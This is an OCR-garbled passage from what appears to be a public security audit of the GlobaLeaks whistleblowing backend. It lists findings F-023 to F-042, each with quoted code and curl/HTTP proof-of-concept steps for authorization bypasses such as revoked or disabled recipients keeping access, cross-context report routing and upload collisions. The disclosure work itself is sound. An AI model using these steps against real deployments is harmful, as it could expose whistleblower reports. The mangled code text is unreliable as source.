Edition 01 Revision 01 Distribution Public disclosure permitted

backend/ gl obal eaks/ handl er s/ user/reset _passwor d. py

35 token = gener at eRandonKey()

39 filepath = os. path. abspat h(os. pat h. j oi n(State. settings. randi sk_pat h,

sha256(t oken) . decode()))

40 with open(filepath, "wb") as f:

41 f.wite(user.id.encode())

45 tenpl ate_vars = {

46 ‘type': tenplate,

47 ‘user': user_desc,

48 ‘reset_token': token,

49 ‘node' : db_adnin_serialize_node(session, user.tid, user.|anguage),

50 ‘notification: db_get_notification(session, user.tid, user.|anguage)

51 }

58] State. format_and_send_nai | (session, user.tid, user_desc['nail_address'],

tenpl ate_vars)

101 def validate_password_reset (session, reset_token, recovery_key, auth_code):

113 filepath = os. path. abspat h(os. path.joi n(State. settings. randi sk_pat h,

sha256(r eset _t oken) . decode()))

114 directory_traversal _check(State.settings.randi sk_path, filepath)
115 with open(filepath, “r") as f:

116 token = f.read()

117 user_id = token.split(":")[0]

166 user_session. properties['reset_token'] = reset_token

170 # Note: the token is not invalidated intentionally;

171 # it isrequired to preserve validity till actuall password reset

backend/ gl obal eaks/ handl er s/ user/ oper at i on. py

54 reset _token = user_session. properties.get('reset_token')

55) if reset_token:

56 filepath = os. path. abspat h(os. pat h. j oi n(State. settings. randi sk_pat h,
sha256(reset _t oken) . decode()))

57 directory_traversal _check(State. settings.randi sk_path, filepath)

58 os. renove(fil epath)

backend/ gl obal eaks/transactions/ __init__.py

23 def db_schedul e_emai | (session, tid, address, subject, body):

24 return db_add(sessi on,

25 nodel s. Mai |,

26 {

27 'address': address,
28 'subj ect': subject,
29 " body' : body,

30 “tid:otid,

31 H

backend/ gl obal eaks/ nmodel s/ __init__.py

683 cl ass _Mail (Model):

684 e

685 This nodel keeps track of emails to be spool ed by the system
686 i

687 __tablenane__ = "nmail’

693 address = Col unm( Uni codeText, nul | abl e=Fal se)
694 subj ect Gol urm( Uni codeText, nul | abl e=Fal se)
695 body = Gol um( Uni codeText, nul | abl e=Fal se)

PoC

Steps to reproduce
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1. Request a password reset for an existing user.

curl -i -X POST 'https://TARGET/ api / user/reset/password' \
-H ' Content-Type: application/json \
--data ' {"usernane":"victin'}'

2. Obtain the reset token from the delivered reset email in a test environment, or from the queued mail body
before delivery in a development database.

reset _t oken=<t oken from enai | >

3. Wait longer than the expected reset-token lifetime for the deployment, without changing the password or
rebooting/removing ramdisk files.

sl eep 86400

4. Submit the token to the validation endpoint.

curl -i -X PUT 'https:// TARGET/ api / user/reset/password \
-H ' Content-Type: application/json \
--data '{"reset_token":"<token>", "recovery_key":"",6 "auth_code":""}'

Expected result

The reset token should expire after a short, documented lifetime and validation should return an invalid or expired
token status.

Actual result

The reviewed validation code accepts any reset token whose corresponding marker file remains present and
references an existing user, subject to recovery-key and two-factor checks when configured.

Impact

Long-lived password reset tokens increase the impact of mailbox compromise, queued-mail database exposure,
logs containing reset links, browser history exposure, or accidental forwarding. Two-factor authentication and
recovery keys mitigate some account takeover scenarios, but not all users or configurations necessarily require
them.

Impacted users or systems:

¢ Users receiving account activation or password reset emails.

¢ Instances where the reset marker file remains present long enough for stale reset links to remain usable.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Medium None

CWE-613 ) Insu cient Session Expiration
CWE-640 ) Weak Password Recovery Mechanism for Forgotten Password
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11.7 F-023 - Revoked recipient sees report
answers

A revoked recipient can still see report answers in list results when the report is unencrypted and belongs to a
non-selectable context.

IMPACT COMPONENT FOUND BY
Report data exposure Backend GPT-5.5 xhigh vl

Arecipient whose Recei ver Ti p access has been revoked can still receive the report in the recipient report list

when the report belongs to a context where recipient selection is disabled. On non-encrypted reports, the list
response includes the report answers even though the recipient no longer has a direct Recei ver Ti p and cannot

open the report detail endpoint.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/recipient/__init__.py:get_receivertips
backend/ gl obal eaks/ handl ers/reci pi ent/rtip. py: db_revoke_ti p_access
CET /api/recipient/rtips

Description:

Recipient report access is normally represented by a Recei ver Ti p row. The revoke operation deletes that row
for the target recipient, which should remove that recipient's access to the report.

The report-list query, however, also includes every report whose context is in the current recipient's non-
selectable contexts. This condition is independent of whether the current recipient still has a Recei verTi p row
for the report. Because the query still joins any remaining Recei ver Ti p row for the report, a report can be
returned to a revoked recipient via another recipient's ReceiverTip .

For encrypted reports, the code detects that the joined ReceiverTip belongs to a di erent recipient and clears the
encrypted answers and label. For non-encrypted reports, no equivalent clearing occurs, so the revoked recipient
receives the report-list metadata and answers with accessi bl e set to false.

Relevant code:

# backend/ gl obal eaks/ handl ers/reci pient/rtip. py
rtip = session. query(nodel s. Recei verTip) \
.filter(nodel s. ReceiverTip.internaltip_id == itip.id,
nodel s. Recei ver Ti p. recei ver _id == recei ver_i d).one_or_none()
if rtipis None:
return Fal se

session. del ete(rtip)
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context _id[ 0] for context_id in session.query(nodels.Context.id)
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.filter(nodel s. Context.al | ow recipients

_sel ection == Fal se,

nodel s. Recei ver Cont ext . recei ver_id == recei ver_id

y.all()
]

for rtip, itip, answers, data in session. query(nodel s. Recei verTip,
nodel s. | nternal Tip,
nodel s. | nt er nal Ti pAnswer s,
nodel s. I nternal Ti pData) \

.filter(or_(nodels.Internal Ti p.context_id.

in_(receiver_contexts),

nodel s. Recei ver Ti p. recei ver _i d

== receiver_id),

nodel s. Internal Tip.tid == tid,

nodel s. Internal Tip.id ==
nodel s. Recei verTip.internal tip_id,

nodel s. | nt er nal Ti pAnswer s. i nt er nal

tip_id == nodel s. Recei verTip.internaltip_id) \
. group_by(nodel s. Recei verTi p.id):
answers = answers. answer s
accessible = rtip.receiver_id == recei ver_id
if itip.crypto_tip_pub_key and accessi bl e:

elif itip.crypto_tip_pub_key:
answers = ""
| abel =""

The non-encrypted branch leaves answers intact even when accessi bl e is false.

PoC

Steps to reproduce

1. Configure or use a tenant/report flow where reports are not encrypted and a context has recipient selection
disabled. This is supported by the backend because submission creation falls back to plaintext when encryption is

unavailable:

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ submi ssi on. py

2. Create a report in that context for at least two recipients, then revoke recipient B's access through the recipient

operation API:

PUT /api/recipient/rtips/<report-id>
{
"operation": "revoke",

"args": {"receiver": "<recipient-b-id>"}

}

3. Authenticate as recipient B and request the recipient report list:

CET /api/recipient/rtips
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Expected result

The revoked recipient should not receive the revoked report, or at minimum the response should not include
report answers or sensitive report metadata after Recei ver Ti p access has been removed.
Actual result

The revoked report can still be returned because its context is non-selectable and still belongs to recipient B. On
non-encrypted reports, the answers field remains populated even though the response marks the row as

accessi bl e: fal se .

Impact

A malicious or previously authorized recipient can continue to see report-list answers and metadata after another
recipient revokes their access, when the report is in a non-selectable context and report data is not encrypted.
This weakens recipient revocation and can expose whistleblower-provided answers to a recipient who no longer
has direct report access.

Impacted users or systems:

¢ Whistleblowers whose reports are handled in non-selectable recipient contexts.

o Deployments or migrated reports where report answers are stored without crypto_tip_pub_key encryption.

e Recipients who rely on revocation to remove another recipient's access to a report.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High None None

CWE-639 ) Authorization Bypass Through User-Controlled Key
CWE-200 ) Exposure of Sensitive Information to an Unauthorized Actor
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11.8 F-026 - Reports are routed outside context

A submitter can route a report to tenant recipients who were never assigned to the selected submission context.

IMPACT COMPONENT FOUND BY
Unauthorized report routing Backend GPT-5.5 medium v1

The public APl exposes all recipient IDs for a tenant and each submission context exposes the recipient IDs
configured for that context. During submission creation, however, the backend accepts any recipient ID belonging
to the tenant instead of requiring the submitted recipients to be members of the selected context. A submitter
can therefore route a report to recipients that administrators did not assign to the chosen context.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ publ i c. py: get _publ i c_r esour ces

backend/ gl obal eaks/ handl ers/ publ i c. py: seri al i ze_cont ext

backend/ gl obal eaks/ handl er s/ publ i c. py: seri al i ze_r ecei ver

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ subm ssi on. py: db_cr eat e_submi ssi on
/api / public

/ api / whi st | ebl ower / subni ssi on

Description:

Contexts are configured with an explicit list of receivers through Recei ver Cont ext rows. The public API
serializes that configured list in each context, and also serializes the full tenant recipient list with recipient UUIDs.

When a whistleblower submits a report, the request body supplies both context _id and receivers .The

backend loads the selected context, but the receiver validation only checks that every supplied receiver ID
belongs to a user with rol e=recei ver in the same tenant. It does not check that the supplied receiver IDs are

associated with the selected context, nor does it enforce the context receiver list when
al l ow recipi ents_sel ection is false .

As a result, a client can select context A but include recipient IDs from context B or any other tenant recipient
exposed by /api/public .The backend then creates Recei verTi p rows for those recipients, granting them
access to the report outside the administrator-configured context routing.

Relevant code:
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backend/ gl obal eaks/ handl er s/ publ i c. py

505 ret = {

506 “id: user.id,

507 "nane' : user. public_nare,

508 ‘forceful ly_selected : user.forceful ly_sel ected,

509 ‘picture': data['ings'].get(user.id, False)

510 }

565 recei vers = session. query(nodel s. User).filter(nodel s. User.role ==
nodel s. Enuniser Rol e. recei ver . val ue,

566 nodel s. User. tid == tid)
583 return {

584 ‘node' : db_serialize_node(session, tid, |anguage),

585 ‘questionnaires': db_get_questionnaires(session, tid, |anguage, True),
586 ' submi ssi on_statuses': db_get_subm ssi on_st at uses(session, tid,

| anguage) ,

587 ‘receivers': db_get_receivers(session, tid, |anguage),

588 ‘contexts': db_get_contexts(session, tid, |anguage)

589 }

backend/ gl obal eaks/ handl er s/ publ i c. py

301 ret = {

302 "id: context.id,

307 "select_all _receivers': context.select_all_receivers,

308 ' maxi mum sel ect abl e_recei vers': cont ext. maxi mum sel ect abl e_r ecei vers,
309 "al l ow recipients_sel ection': context.allowrecipients_sel ection,

316 ‘receivers': data['receivers'].get(context.id, []),

317 "picture': data['ings'].get(context.id, False)

318 }

backend/ gl obal eaks/ handl er s/ adm n/ cont ext . py

81 val i d_recei vers = session. query(nodel s. User.id).filter(

82 nodel s. User.id.in_(receiver_ids),

83 nodel s. User.tid == context.tid

84 ). count ()

89 for i, receiver_id in enunerate(receiver_ids):

90 sessi on. add( nodel s. Recei ver Cont ext ({' context _id': context.id,
91 ‘receiver_id: receiver_id,
92 ‘order': i}))

backend/ gl obal eaks/ handl er s/ whi st | ebl ower / subm ssi on. py

163 context, questionnaire = db_get (session,

164 (nodel s. Context, nodel s. Questionnaire),
165 (nodel s. Context.tid == tid,

166 nodel s. Context.id ==

request['context _id],

167 nodel s. Questionnaire.id ==

nodel s. Cont ext . questionnaire_id))

173 receivers = []

174 for r in session.query(nodels. User).filter(nodels. User.tid == tid,

nodel s. User.id.in_(request['receivers']), nodels.ser.role == "receiver'):

192 if not receivers:

193 raise errors. | nputValidationError("Unable to deliver the subnission to

at |east one recipient")

195 if 0 < context.naxi mum sel ectabl e_receivers < |l en(request['receivers']):
196 raise errors. | nputValidationError("The nunber of recipients sel ected
exceed the configured limt")

281 for user in receivers:

287 db_create_recei vertip(session, user, itip, _tip_key)
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PoC

Steps to reproduce

1. Configure a tenant with two submission contexts and two recipients.

Context A receivers: REQPIENT_A Context B receivers: REC PIENT_B.

2. Fetch the public configuration.
curl -s 'https://TARCGET/ api/ public'
3. Note that the response includes both the full tenant recipient list and each context's intended recei vers list.

contexts[ Context A].receivers = [ REQ Pl ENT_A]
recei vers includes REQ PIENT_B as anot her tenant recipient

4. Start or use a whistleblower submission session, then submit to Context A while replacing the receivers list with
RECIPIENT_B.

curl -i -X POST 'https://TARGET/ api / whi st ebl ower/subm ssi on' \
-H ' x-session: WH STLEBLONER SESSI ON \
-H'content-type: application/json' \
--data ' {
“context _id":"CONTEXT_A WU D',
“receivers":["REQPIENT_B WJD'],
"identity_provided":fal se,
"score": 0,
"answers":{},
"recei pt": "exanpl e receipt"

5.Log in as RECIPIENT_B and list or open reports.

curl -i "https://TARGET/ api/recipient/rtips" \
-H ' x-session: REQ Pl ENT_B SESSI ON

Expected result

The backend should reject recipient IDs that are not associated with the selected context. When recipient
selection is disabled for the context, the backend should use the configured context recipients rather than
trusting a client-supplied list.

Actual result

The backend accepts any same-tenant recipient ID supplied in the submission request and creates ReceiverTip
access for that recipient.

Impact

This is a report-routing authorization bypass. It weakens administrator-configured separation between submission
contexts and recipients, and can disclose reports to recipients that were not assigned to the selected context.
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Impacted users or systems:

e Tenants that use contexts to route reports to specific recipients or teams.
e Reporting users who rely on the selected context to control which recipients receive a report.

e Recipients and administrators in deployments where recipient groups are not mutually trusted.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High Low None

Missing Authorization
Authorization Bypass Through User-Controlled Key
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11.9 F-028 - Upload identifiers collide cross-
session

Colliding upload identifiers can let one client interfere with another upload because temporary state is not
scoped to the owning session.

IMPACT COMPONENT FOUND BY
Upload integrity loss Backend GPT-5.5 medium v1

Temporary upload state is stored in a global dictionary keyed only by the client-controlled f| ow dentifier .

Because the key is not scoped to tenant, endpoint, session, user, or upload owner, di erent clients can collide on
the same temporary upload object.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ base. py: process_fi |l e_upl oad
backend/ gl obal eaks/ st at e. py: St at ed ass. TenpWpl oadFi | es

Description:

process_file upload() reads flow dentifier directlyfromrequestarguments and uses it as the sole key
into State. TenpWl oadFi |l es . State. TenpUWpl oadFi | es is a process-wide TenpDi ct .

This allows unrelated clients, tenants, sessions, roles, or endpoints to address the same SecureTemporaryFile if
they use the same flowldentifier. The upload code then applies ordered-chunk logic to the shared object. A
colliding request can cause chunks to be ignored, corrupt upload contents, force stale state to be reused, or
influence the final temporary file metadata associated with another operation.

The risk is amplified by the separate issue where upload processing occurs before handler authentication and
authorization.

Relevant code:
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backend/ gl obal eaks/ st at e. py
100 sel f. TenpWpl oadFi | es = TenpDi ct ( 3600)
backend/ gl obal eaks/ handl er s/ base. py
356 total _file size = int(self.request.args[b'flowlotal Size'][0])
357 file_id = self.request.args[b' flow dentifier'][0].decode()
359 if file_id not in self.state. TenpUl oadFi | es:
372 sel f.state. TenpWpl oadFi l es[file_id] =
Secur eTenpor ar yFi | e( Set ti ngs. t np_pat h)
374 f = self.state. TenpUpl oadFi | es[file_id]
396 if chunk_nunber !'= f.witten_chunks + 1:
397 return None
399 f.wite(sel f.request.args[b' file ][0])
400 f.witten_chunks += 1
PoC

ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
PIVA IT 04164220230
REA VR-397513

ISGroup

Public disclosure permitted

Steps to reproduce

1. Start two independent clients or sessions against the same backend instance.

# dient Aand client B should use the sanme flow dentifier val ue.

2. Client A starts an upload with flow dentifi er=shared-id and sends chunk 1.

curl -i
-H ' x-session: SESSION A \
-F ' flowFi | ename=a. bin' \
-F 'flowdentifier=shared-id \
-F ' flowrotal Si ze=2000" \
-F ' fl owChunkNunber =1' \
-F ' fl owTot al Chunks=2" \
-F 'file=@1l. bi n'

3. Client B uses the same flow dentifier

curl -i
-H ' x-session: SESSION B \
-F ' flowFi | ename=b. bin* \
-F 'flowdentifier=shared-id \
-F ' flowrotal Si ze=2000" \
-F ' fl owChunkNunber =2' \
-F ' fl owTot al Chunks=2" \
-F "file=@2. bi n'

4. Observe the shared ordered-chunk state.

- X PCBT ' https:// TARGET/ api / whi st | ebl ower/ submi ssi on/ at t achnent '

-X PCBT ' https:// TARGET/ api / whi st | ebl ower/ subni ssi on/ at t achnent '

\

and sends a chunk for its own upload.

\

Both clients address the sane State. TenpUpl oadFi |l es entry. Depending on chunk
order and endpoint, the upload can be corrupted, prematurely finalized, or

rejected as an out-of-order duplicate.

Expected result
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Temporary upload state should be isolated per tenant and authenticated principal, and ideally per endpoint or
upload owner. A client-controlled identifier should not be globally authoritative.

Actual result

The global temporary upload dictionary uses only flow dentifier asthe key.

Impact

This is an upload integrity and availability issue. Attackers can interfere with in-progress uploads by choosing
colliding identifiers, or can cause persistent temporary upload state that a ects later legitimate uploads using the
same identifier.

Impacted users or systems:
e Users uploading whistleblower attachments, recipient files, or administrative files.

e Multi-tenant deployments where unrelated tenants share the same backend process.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low Medium

Authorization Bypass Through User-Controlled Key

Concurrent Execution using Shared Resource with Improper Synchronization

CWE-668 ) Exposure of Resource to Wrong Sphere
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11.10 F-031 - Disabled recipients keep receiving
reports

Reports can continue being routed to disabled recipients, defeating the expectation that disablement stops
future assignment.

IMPACT COMPONENT FOUND BY
Revocation bypass Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

Disabling a recipient account does not remove the recipient from public submission routing or prevent new
reports from being assigned to that disabled account. The normal login path treats User. enabl ed as the

account-revocation boundary, but the public receiver list, context receiver list, submission recipient resolution,
and recipient notification queries all select recipients by tenant and role without requiring User. enabl ed to be

true.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ publ i c. py

backend/ gl obal eaks/ handl er s/ whi st | ebl ower / submi ssi on. py
backend/ gl obal eaks/ j obs/ noti fi cati on. py

PCST / api / report

CET /api/public

Description:

The administrator user-update path can set a recipient's enabl ed flagto fal se , and the ordinary password-
login path explicitly filters disabled users out with User. enabl ed. i s_( True) . That makes the enabl ed flag an
account-revocation state.

The submission workflow does not consistently enforce that state. GET / api / publ i c exposes every tenant user
whose role is recei ver , and context serialization returns Recei ver Cont ext receiver IDs without joining the

Wser table or filtering disabled users. The Angular submission helper builds selectable and automatically
selected recipients from those public context IDs and the public receiver map.

When the report is finalized, db_creat e_subni ssi on accepts any requested tenant user with role recei ver . It
creates Recei verTi p rows for those users without checking User. enabl ed . The notification job then joins

Wser to ReceiverTip and creates queued mail to the user's mail address without filtering disabled users, so a
disabled recipient can keep receiving new-report or update notifications containing the report URL.

As a result, disabling a recipient does not stop future whistleblower submissions from being routed to that
account. This is distinct from stale active sessions or password reset. even when the disabled account cannot
create a new password-login session, the backend still assigns new reports and sends report-access notifications
to the disabled account.

Relevant code:
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backend/ gl obal eaks/ handl ers/auth/ __init__.py

92 if tidin State.tenants and State.tenants[tid].cache.sinplified_|ogin:
93 user = session.query(User).filter(or_(User.id == usernane,

94 User . user nane == user nane),
95 User. enabl ed. i s_(True),

96 User.tid == tid).one_or_none()
97 el se:

98 user = session. query(User).filter(User.usernane == usernane,

99 User. enabl ed. i s_(True),

100 User.tid == tid).one_or_none()

backend/ gl obal eaks/ handl er s/ adm n/ user . py
150 user = db_get_user(session, tid, user_id)

165 user . updat e(r equest )

backend/ gl obal eaks/ handl er s/ publ i c. py

164 for o in session.query(nodel s. Recei verContext).filter(nodel s. Recei ver Co
ntext.context_id.in_(contexts_ids)).order_by(nodel s. Recei ver Cont ext . order):

165 if o.context_id not in data['receivers']:

166 data['receivers'][o.context_id] =[]

167

168 data[' recei vers'][o.context_id].append(o.receiver_id)

565 recei vers = session. query(nodel s. User).filter(nodels. User.role ==

nodel s. Enuniser Rol e. recei ver . val ue,

566 nodel s. Wser.tid == tid)

567 data = db_prepare_receivers_serialization(session, receivers)

568

569 return [serialize_receiver(session, receiver, |anguage, data) for receiver

in receivers]

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ subm ssi on. py
173 receivers =[]
174 for r in session.query(nodels. User).filter(nodels.User.tid == tid,

nodel s. User.id.in_(request['receivers']), nodels.User.role == "receiver'):

175 if crypto_is_available:

176 if r.crypto_pub_key:

181 recei vers. append(r)

189 el se:

190 recei vers. append(r)

192 if not receivers:

193 raise errors. | nputValidationError("Unable to deliver the subnission to

at |east one recipient")

backend/ gl obal eaks/ j obs/ noti fi cati on. py

156 resul tsl = session. query(nodel s. User, nodel s. Recei verTi p,
nodel s. I nternal Ti p, nodel s. Recei verTip) \

157 .filter(nodels. User.id ==

nodel s. Recei ver Ti p. recei ver _i d,

158 nodel s. Internal Tip.id ==

nodel s. Recei verTip.internal tip_id,

159 nodel s. Recei verTi p.new. is_(True)) \
160 .order _by(nodel s. I nternal Ti p. creation_date)
208 data['user'] = user_serialize_user(session, user,
user . | anguage)

209 data['tip'] = serializers.serialize_rtip(session, itip, rtip,
user . | anguage)

210

211 sel f. process_nail _creation(session, tid, data)

PoC

Steps to reproduce
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1. Configure a tenant with a submission context that includes a recipient, and leave normal recipient notification
emails enabled. Disable that recipient through the administrator user APl without deleting the user or removing
the user from the context.

curl -s -X PUT ' https:// TARGET/ api / adm n/ user s/ <r eci pi ent -user-i d>' \
-H ' X-Session: <adm n-session> \
-H ' Content-Type: application/json' \
--data ' <full Adm nUserDesc JSON with "enabl ed": fal se>'

2. Fetch the public submission descriptor.

curl -s 'https:// TARGET/ api / public'

3. Observe that the disabled recipient still appears under recei vers , and the selected context still contains that
recipient ID under contexts[].receivers .

The disabled recipient IDis still advertised as a sel ectabl e or auto-sel ected
report recipient.

4. Start a normal whistleblower submission session and submit a report whose recei vers array contains the
disabled recipient ID advertised by /api/public .

curl -s -X POST 'https:// TARGET/ api/report' \

-H ' X-Session: <subni ssi on-sessi on>' \

-H ' Content-Type: application/json' \

--data '{"context_id":"<context-id>","receivers":["<di sabl ed-reci pi ent -
id>"],"identity_provided":fal se, "answers":{}, "answer":{}, "score": 0, "recei pt": " <new
recei pt>"}'

5. Inspect the database or recipient notification queue after the notification job runs.

SELECT rt.id, rt.receiver_id, u.enabled

FROM recei vertip rt

JONuser u N wu.id =rt.receiver_id

WHERE rt.receiver_id = '<disabl ed-recipient-id>;

SELECT address, subject, body
FROM nai |

WHERE address = ' <di sabl ed-reci pi ent - nai | - addr ess>"
CRDER BY creation_date DESC

Expected result

Disabled recipients should not be serialized in the public submission descriptor, should not be accepted as
submission recipients, should not receive new Recei verTi p assignments, and should not receive new-report or

report-update notification mail.

Actual result

The disabled recipient remains in the public recipient and context receiver lists, the submission endpoint accepts
the disabled recipient ID and creates a Recei ver Ti p , and the notification job can queue report mail to the
disabled recipient's configured mail address.

Impact
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This is an account-revocation workflow bypass and incorrect report ownership assignment. Administrators who
disable a recipient because of departure, compromise, suspension, or misuse can still have future whistleblower
reports assigned to that account. The disabled recipient's mailbox may receive report-existence notifications and
report URLs, and any later path that restores or preserves access to the disabled account exposes reports that
should not have been routed there after disablement.

Impacted users or systems:

« Whistleblowers submitting reports to contexts that still reference a disabled recipient.
o Deployments that rely on disabling recipient accounts as an immediate revocation or suspension action.

e Administrators responding to recipient compromise, departure, or misuse.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High Low None

CWE-708 ) Incorrect Ownership Assignment
CWE-841 ) Improper Enforcement of Behavioral Workflow
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11.11 F-040 - Recipient grants outside context

A recipient with grant or transfer rights can disclose a report to users outside the administrator-defined context
boundary.

IMPACT COMPONENT FOUND BY

Report data exposure Backend GPT-5.5 medium via
run_codex_cwe_line v1

A recipient who has permission to grant or transfer report access can add any receiver from the tenant to an
existing report, even when that receiver is not assigned to the report's submission context. This bypasses the
administrator-defined context-to-recipient routing boundary after a report has been submitted.

Details

A ected source code, component, endpoint, or function:

PUT /api/recipient/rtips/<report-id>
backend/ gl obal eaks/ handl ers/reci pi ent/rtip. py

Description:

The recipient report operation endpoint exposes grant and transfer operations to receivers with the
corresponding per-user permission bits. The permission checks verify that the acting user has access to the
report and has can_grant_access_to_reports or can_transfer_access_to_reports , butthe target receiver
lookup only requires a user in the same tenant with rol e == 'recei ver' .It does notrequire a

Recei ver Cont ext row linking the target receiver to the report's Context .

As a result, a recipient who is allowed to delegate reports inside their workflow can route an already-submitted
report to receivers that administrators did not assign to that submission context. Public metadata also exposes
tenant receiver IDs and each context's configured receiver IDs, and the client grant dialog builds its selectable list
from all public tenant receivers rather than from the report's context membership.

Relevant code:
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backend/ gl obal eaks/ handl ers/reci pient/rtip. py:
138 @r ansact
139 def grant_tip_access(session, tid, user_id, user_cc, itip_id, receiver_id):

144 user, rtip, itip = db_access_rtip(session, tid, user_id, itip_id)

145 if user_id == receiver_id or not user.can_grant_access_to_reports:

146 rai se errors. Forbi ddenQperati on

148 new receiver, _ = db_grant_tip_access(session, tid, user, user_cc, itip,

rtip, receiver_id)

168 @r ansact
169 def transfer_tip_access(session, tid, user_id, user_cc, itip_id, receiver_id):

174 user, rtip, itip = db_access_rtip(session, tid, user_id, itip_id)

175 if user_id == receiver_id or not user.can_transfer_access_to_reports:
176 rai se errors. Forbi ddenQperati on

178 new receiver, _ = db_grant_tip_access(session, tid, user, user_cc, itip,

rtip, receiver_id)

64 def db_grant_tip_access(session, tid, user_id, user_cc, itip, rtip,
recei ver_id):

82 new recei ver = db_get (sessi on,

83 nodel s. User,

84 (nodel s. Wser.tid == tid,

85 nodel s. User.id == receiver_id,

86 nodel s. User.rol e == 'recei ver'))

97 new rtip = db_create_recei vertip(session, newreceiver, itip, _tip_key)
1187 def operation_descriptors(self):

1188 return {

1189 ‘grant': RTiplnstance.grant_tip_access,

1190 ‘revoke' : RTi pl nstance. revoke_tip_access,

1191 ' post pone' : RTi pl nst ance. post pone_expi rat i on,

1192 ‘set_rem nder': RTiplnstance.set_ren nder,

1193 ‘set': RITiplnstance.set_tip_val,

1194 "update_status': RTiplnstance. updat e_subm ssi on_st at us,
1195 ‘transfer': RTiplnstance.transfer_tip

1196 }

backend/ gl obal eaks/ handl ers/ publ i c. py:

164 for o in session. query(nodel s. Recei ver Context).filter(nmodel s. Recei verC
ontext.context_id.in_(contexts_ids)).order_by(nodel s. Recei ver Cont ext . or der):
168 data[ ' recei vers'][o.context_id].append(o.receiver_id)

301 ret ={

302 'id': context.id,

309 "all ow recipi ents_sel ection': context.allowrecipients_sel ection,

316 ‘receivers': data['receivers'].get(context.id, []),

317 "picture': data['inys'].get(context.id, False)

318 }

565 recei vers = session. query(nodel s. User).filter(nodels. User.role ==

nodel s. Enunikser Rol e. r ecei ver . val ue,

566 nodel s. User.tid == tid)

569 return [serialize_receiver(session, receiver, |anguage, data) for receiver

in receivers]

client/app/src/pages/recipient/tip/tip.conponent.ts:

177 thi s. appDat aServi ce. publ i c. recei vers. f or Each(async (recei ver:

Recei ver) => {

178 if (receiver.id !==this.authenticationService.session.user_id &
('this.tip.receivers_by idlreceiver.id] || !this.tip.receivers_by_id[receiver.id].
active)) {

179 recei ver. nane = nanes|[receiver.id];

180 sel ect abl eReci pi ent's. push(recei ver);

181 }

PoC
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Steps to reproduce

1. Configure two submission contexts in the same tenant. Assign recipient A to context X and recipient B to context
Y only. Give recipient Athe can_grant _access_to_reports or can_transfer_access_to_reports privilege.

Context X receivers: [recipient A
Context Y receivers: [recipient B]

2. Submit a report into context X and log in as recipient A. Use recipient A's session to call the report operation
endpoint with recipient B's user ID.

PUT /api/recipient/rtips/<context-x-report-id>
Cont ent - Type: appl i cation/json
X-sessi on: <reci pi ent-a-sessi on>

{

“operation": "grant",
"args": {
"receiver": "<recipient-b-user-id>"

}
}

3. Log in as recipient B and list or open recipient reports.

Reci pient B receives access to the context X report even though B is not assigned
to context X

Expected result

Grant and transfer operations should only allow target receivers who are authorized for the report's context,
unless the product has an explicit administrator-configured cross-context delegation policy.

Actual result

The backend creates a Recei ver Ti p for any same-tenant receiver ID supplied by the acting recipient,

regardless of the report's context_id and Recei ver Context membership.

Impact

This is an authorization and privilege-assignment bypass in recipient-managed report access. A recipient with
delegation privileges can disclose a report to receivers outside the administrator-configured submission context
boundary. Depending on how contexts are used, this can expose whistleblower submissions, identities,
attachments, comments, and workflow metadata to recipients who were intentionally excluded from that channel.

Impacted users or systems:

o Deployments that use contexts to separate report access between recipient groups.

e Reports handled by recipients with can_grant _access_to_reports or can_transfer_access_to_reports .

o Whistleblowers whose reports are routed to excluded recipients after submission.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High Low None
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CWE-266 ) Incorrect Privilege Assignment

CWE-272 ) Least Privilege Violation

CWE-501 ) Trust Boundary Violation
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11.12 F-042 - Recipient role revocation is
delayed

Moving a user out of the recipient role does not immediately remove report access if an older recipient session is
still active.

IMPACT COMPONENT FOUND BY
Role revocation bypass Backend GPT-5.5 medium via
run_codex_cwe_line v1

Changing an internal user from the recei ver role to another role does not revoke the user's existing backend
session or cause recipient APIs to re-check the current database role. A user who was logged in as a recipient
before the role change can continue using recipient report APIs with the stale recei ver role stored in the
session.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ sessi ons. py: Sessi on, SessionsFactory

backend/ gl obal eaks/ rest/decorat ors. py: decorator_aut hentication

backend/ gl obal eaks/ handl er s/ adm n/ user. py: db_adm n_updat e_user

backend/ gl obal eaks/ handl ers/recipient/__init__.py: TipsCollection.get,

get _recei vertips

backend/ gl obal eaks/ handl ers/reci pient/rtip.py: db_access_rtip and recipient report
handl er s

Description:

The backend stores the authenticated user's role inside the in-memory Sessi on object at login. The generic
authorization decorator later allows recipient handlers when sel f.session.role is "receiver" .Ifan
administrator edits that user and changes role to analyst, custodian, or admin, db_adnmi n_updat e_user writes the
new role to the User row but does not revoke or refresh active sessions.

Recipient report APIs continue to authorize from the stale session role. Their database accessors join the User
row by ID but do not require User.rol e == 'recei ver' ,so changing the persisted role does not stop access to
Recei ver Ti p -linked reports for the duration of the active session.

Relevant code:
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backend/ gl obal eaks/ rest/ decor at or s. py

38 if self.session and self.session.tid == self.request.tid:

39 if "user' in user_roles and self.session.role in USERS ROLES:
40 return f(self, *args, **kwargs)

41 if self.session.role in user_roles:

42 return f(self, *args, **kwargs)

backend/ gl obal eaks/ handl er s/ adm n/ user . py
150 user = db_get_user(session, tid, user_id)

165 user . updat e(r equest)

backend/ gl obal eaks/ handl ers/reci pi ent/rtip. py

ISGroup SRL
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584 return db_get (session,

585 (nodel s. User, nodel s. Recei ver Ti p, nodel s. I nternal Tip),

586 (nodel s. User.id == user_id,

587 nodel s. Internal Tip.id == itip_id,

588 nodel s. Recei ver Ti p. recei ver _i d == nodel s. User. i d,

589 nodel s. Recei verTip.internal tip_id == nodel s. Internal Ti p.id,
590 nodel s. Internal Tip.tid == tid))

backend/ gl obal eaks/ handl ers/recipient/__init__.py

